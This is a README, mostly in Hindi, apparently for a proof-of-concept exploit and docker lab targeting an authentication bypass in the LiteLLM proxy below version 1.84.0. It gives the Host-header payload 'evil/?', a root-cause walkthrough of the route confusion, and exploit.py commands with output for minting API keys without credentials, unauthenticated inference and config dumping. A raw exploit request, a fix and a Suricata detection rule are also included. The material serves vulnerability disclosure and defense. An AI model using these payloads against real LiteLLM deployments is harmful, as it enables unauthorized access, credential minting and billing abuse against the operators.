
CVE-2026-49468 — LiteLLM (<1.84.0) unauthenticated auth bypass via Host-header route confusion. PoC + docker lab.
LiteLLM प्रॉक्सी (BerriAI) में प्री-ऑथेंटिकेशन प्रमाणीकरण/प्राधिकरण बाईपास। एक एकल क्राफ्टेड Host हेडर प्रॉक्सी को अपने प्रमाणीकरण निर्णय को एक सार्वजनिक स्वास्थ्य रूट के विरुद्ध मूल्यांकन करने के लिए बाध्य करता है जबकि FastAPI अभी भी संरक्षित प्रबंधन हैंडलर को निष्पादित करता है — बिना API कुंजी के अनुरोध की सेवा करता है।
| CVE | CVE-2026-49468 |
| उत्पाद | LiteLLM (BerriAI) प्रॉक्सी |
| प्रभावित | < 1.84.0 (verified on v1.83.14-stable) |
| ठीक किया गया | 1.84.0 |
| वर्ग | अनुचित प्रमाणीकरण (CWE-290) — रूट कन्फ्यूजन |
| प्रमाणीकरण | कोई नहीं (पूर्व-प्रमाणीकरण) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (NVD) |
| CVSS 4.0 | 9.5 — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (GitHub) |
| स्थिति | पुष्टि — बाईपास एंड-टू-एंड पुनरुत्पादित; 1.84.0 पर फिक्स सत्यापित |
पूरा शोषण एक हेडर है:
Host: evil/?
litellm/proxy/auth/auth_utils.py::get_request_route() हर प्रमाणीकरण निर्णय के लिए उपयोग किए जाने वाले रूट को request.url.path से प्राप्त करता है। Starlette उस URL स्ट्रिंग को क्लाइंट-नियंत्रित Host हेडर से पुनर्निर्माण करता है:
# starlette/datastructures.py (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}" # host_header = attacker Host
...
@property
def path(self): return urlsplit(self._url).path
FastAPI रूटिंग कच्चे ASGI पथ request.scope["path"] पर डिस्पैच करता है। Host हेडर में ? इंजेक्ट करना वास्तविक अनुरोध पथ को URL क्वेरी घटक में धकेलता है, इसलिए पुनर्निर्मित url.path / पर सिमट जाता है:
real request path (scope, FastAPI routes here) : /key/generate
Host header : evil/?
reconstructed URL : http://evil/?/key/generate
urlsplit(...).path : / <-- auth sees this
/, LiteLLMRoutes.public_routes में है, और दोनों प्रमाणीकरण गेट उसी जाली मान का उपयोग करके सार्वजनिक रूट पर शॉर्ट-सर्किट करते हैं:
# user_api_key_auth.py — authentication builder
if route in public_routes: # route == "/"
return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY) # no API key required
# user_api_key_auth.py — authorization wrapper
if route in public_routes: # route == "/"
return # skips common_checks / admin-route enforcement
फिक्स (1.84.0): get_request_route() अब request.scope["path"] / scope["root_path"] को सीधे पढ़ता है, कभी भी Host हेडर से पुनर्निर्माण नहीं करता।
अप्रमाणित रूप से पहुँच योग्य (INTERNAL_USER_VIEW_ONLY के रूप में परोसा गया):
POST /key/generate → एक वैध वर्चुअल API कुंजी मिंट करें। कुंजी बिना किसी बाईपास हेडर के सामान्य प्रमाणीकरण के रूप में काम करती है → स्थायी प्रमाणित पैठ और प्रदाता लागत दुरुपयोग।POST /user/new → उपयोगकर्ता बनाएं।POST /chat/completions (+ /v1/models, /model/info) → प्रॉक्सी के कॉन्फ़िगर किए गए LLM प्रदाताओं के विरुद्ध अप्रमाणित अनुमान।GET /spend/logs, /settings, /get/config/callbacks → कॉन्फ़िगरेशन / टेलीमेट्री प्रकटीकरण।इनलाइन PROXY_ADMIN जांच द्वारा संरक्षित एंडपॉइंट अवरुद्ध रहते हैं (/config/update, /model/new, /user/list, /key/list, भूमिका उन्नयन, MCP प्रत्यक्ष-निर्माण), इसलिए यह बाईपास v1.83.14 पर पूर्ण प्रॉक्सी-एडमिन या RCE उत्पन्न नहीं करता — ANALYSIS.md देखें।
# 1. bring up a vulnerable + patched lab (auth enabled with a master key)
cd lab && docker compose up -d && cd ..
# 2. confirm the bypass
python3 exploit.py -u http://127.0.0.1:4000 check
# [*] GET /user/list no-bypass Host -> 401
# [*] GET /user/list Host: evil/? -> 403
# [+] VULNERABLE: authentication bypassed (baseline 401, bypass reached the handler: 403).
# 3. mint an API key with no credentials
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
# [+] Minted virtual API key (unauthenticated): sk-....
# 4. unauthenticated inference / enumeration
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump
# patched build (v1.84.0 on :4001) rejects the same requests with 401
python3 exploit.py -u http://127.0.0.1:4001 check
exploit.py केवल stdlib (http.client) है और Host हेडर को तार स्तर पर शब्दशः सेट करता है। क्रियाएँ: check, mint-key, user, chat, dump, raw METHOD PATH।
POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2
{}
HTTP/1.1 200 OK
{"key":"sk-...", ...}
पूर्ण बेसलाइन/बाईपास मैट्रिक्स, प्रतिकूल विभेदक (evil → 401, evil/foo → 401, evil/? → 200), और पैच की गई सीमा के लिए EVIDENCE.txt देखें।
1.84.0 या बाद के संस्करण में अपग्रेड करें।Host सत्यापन को लागू करता है (Host मान जिनमें /, ?, # होते हैं उन्हें अस्वीकार करें), और एक master_key सेट करें।बाईपास एक वाक्यात्मक रूप से अमान्य Host हेडर है। नमूना Suricata नियम:
alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
flow:to_server,established; http.host; pcre:"/[\/?#]/";
classtype:web-application-attack; sid:2026049468; rev:1;)
लॉग-पक्ष: कोई भी अनुरोध जिसके Host हेडर में /, ?, या # है और जो LiteLLM प्रॉक्सी तक पहुँचता है।
Caio Fabrício (BiiTts).
केवल अधिकृत सुरक्षा अनुसंधान और परीक्षण के लिए।